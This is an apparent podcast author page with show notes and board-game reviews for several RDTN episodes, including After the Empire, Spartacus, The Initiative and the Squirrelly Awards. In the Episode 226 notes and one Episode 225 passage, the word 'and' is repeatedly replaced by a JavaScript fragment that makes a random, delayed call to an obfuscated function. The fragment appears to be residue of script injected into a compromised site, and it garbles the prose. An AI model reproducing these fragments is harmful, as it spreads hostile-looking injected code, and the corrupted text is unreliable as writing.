All posts by Tony McRee

I have been playing board games for as long as I can remember. When the summer heat in North Carolina was too much to be outside, we would retreat to playing games inside. My favorite game was Stratego but always loved the new, especially when things went electronic with Stop Thief. Even in later years, games would continue to be a major part of my life, none more that APBA Pro Baseball. Outside of gaming, I enjoy playing all sports but the current favorite is disc golf. There are some incredible courses in the area and a ever growing disc golf community keeps them in great shape. Whenever time permits, I will break out a game and play with family and friends and I get great enjoyment out of teaching new games to others though I don't do it worth squat. My favorite types of games are those that promote a fairly fast style of play and can be done in under two hours. My least favorite games are those that promote analysis paralysis by the players or promote large amounts of downtime waiting on other players. I am currently co-hosting a podcast at

RDTN Episode 227: After The Empire, Spartacus, Summoner Wars, Ashes Reborn, Warhammer Cursed City, Monster Hunter Rise

00:00Game Toppers
01:45Intro with Vanessa
02:23We are Live
05:00Peep Pepsi coming our way
09:29Another $5 Paid Out
10:56Monster Hunter Rise
13:20Lawn Maintenance
15:48 The Anatomical Guide of Lovecraftian Horrors
17:40Cuba Libre with Rodney Smith
28:00Ranking by PSA Halts for Trading Cards
30:35Warhammer Cursed City
33:18Some Anime Show
35:41Board and Dice Con
40:00BGG Golden Geek – Appreciate the Support
40:57Miniature Market
43:42After The Empire
1:20:34Portal Games
1:22:04 Summoner Wars and Ashes Reborn

After the Empire took us by storm in in recent plays. I was very skeptical of what they were going to try and did a wonderful job with the theme. Love when a game keeps the theme going through the turns, regardless of the actions you are taking.

Spartacus is a classic game that was never high on my list to play because of the Intrigue section. I had heard about how it was around negotiating with people, then maybe doing some backstabbing, so never really seemed like my type of game. However, glad I sat down with the new release and played it. I will say, how the intrigue plays out is definitely dependent on who is at the table. Our group isn’t strong players when it comes to that social mechanic, so the game took a bit to get up to speed, but we did get into it as the game went on. Glad I finally got it to the table.

Then there comes the rebirth of two card games that we had played in the past from Plaid Hat. It was good to see the changes Plaid Hat made and hope these games are successful for them.

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RDTN Episode 226: The Initiative, Excavation Earth, Holi, War Chest: Siege The Key: Murder at the Oakdale Club, Heroclix Wonder Woman, Southern Rails, Holi

00:00 Game Toppers
08:14 Special Announcement
11:40Food Discussion – Imaging that
21:25Board Games Finally
22:00Wonder Woman Heroclix
24:40War Chest: Siege Expansion
27:30Switch Time
37:08Holi: Festival of Colors
43:32Southern Rails
50:24Portal Games
55:53The Initiative
1:12:21The Key: Murder at the Oakdale Club
1:27:34Miniature Market
1:28:45Excavation Earth

The Episode after the Award Show is always a tough one. We have to do work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not leave it to others. But we are pros andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we put in the effort.

Many great games in this episode but the two we spend the most time on is The Initiative andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Excavation Earth.

The Initiative is a coop legacy game that has simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and relies on the players to work closely together to solve the clue before the “time” runs out. There isn’t a clock to worry about, but the draw deck is the timer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adds a push your luck element to the game. Puzzles are not Escape Room hard, but challenging enough to give the players a sense of accomplishment when solved.

Excavation Earth takes simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and forces the players to really think ahead on their turn for the entire round. On your turn, if you get out of sequence or someone messes up your plan, you need a good Plan B as well. This may not be the game for people who like a bit more freedom during their turn or you don’t like to pivot once a plan is put in motion

RDTN Episode 225: 6th Annual Squirrelly Awards

00:37IntroMarty & Tony
05:43Let’s get this party startedDan King
09:40It’s in the CardsTantrum House
11:00Acceptance SpeechMatt Riddle
13:35You gonna paint thoseJoel Eddy
17:53No Quarter requiredBJ Rojas
23:01Pass the AdvilChaz Marler
29:10Go Do My Bidding David Waybright
33:00Miniature Market
Portal Games
Game Toppers
35:49This Game has Bling Christina & Robb Rouse
38:00Acceptance Speech Isaac Childres
41:26Just the Two of usDan & Chris
45:12Gimme More! Jon & Emily Detmer
46:43Acceptance SpeechIgnacy & Joanna Kijanka
50:32Publisher of the YearMarty & Tony
51:46Acceptance SpeechZev Shlasinger
53:03If I can’t play Strike Rodney Smith
57:56Better Late Than NeverLuke Otfinowski
1:01:23“It’s Alive!” Jamie Keagy
1:08:19All Y’all AwardDon Bagget
1:12:36Game of the Year – TonyCrystal & Ambie
1:17:54Game of the Year – MartyPaula Deming

It’s our 6th Annual Squirrelly Awards! We pick some of our favorite games from 2020 to present the coveted (haha) Squirrelly Award. Our friends from everywhere are coming in to help out. We are challenged this year with all the safety protocols that we must follow, but it will not keep us from having fun andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recognizing some incredible games.

Thanks for listening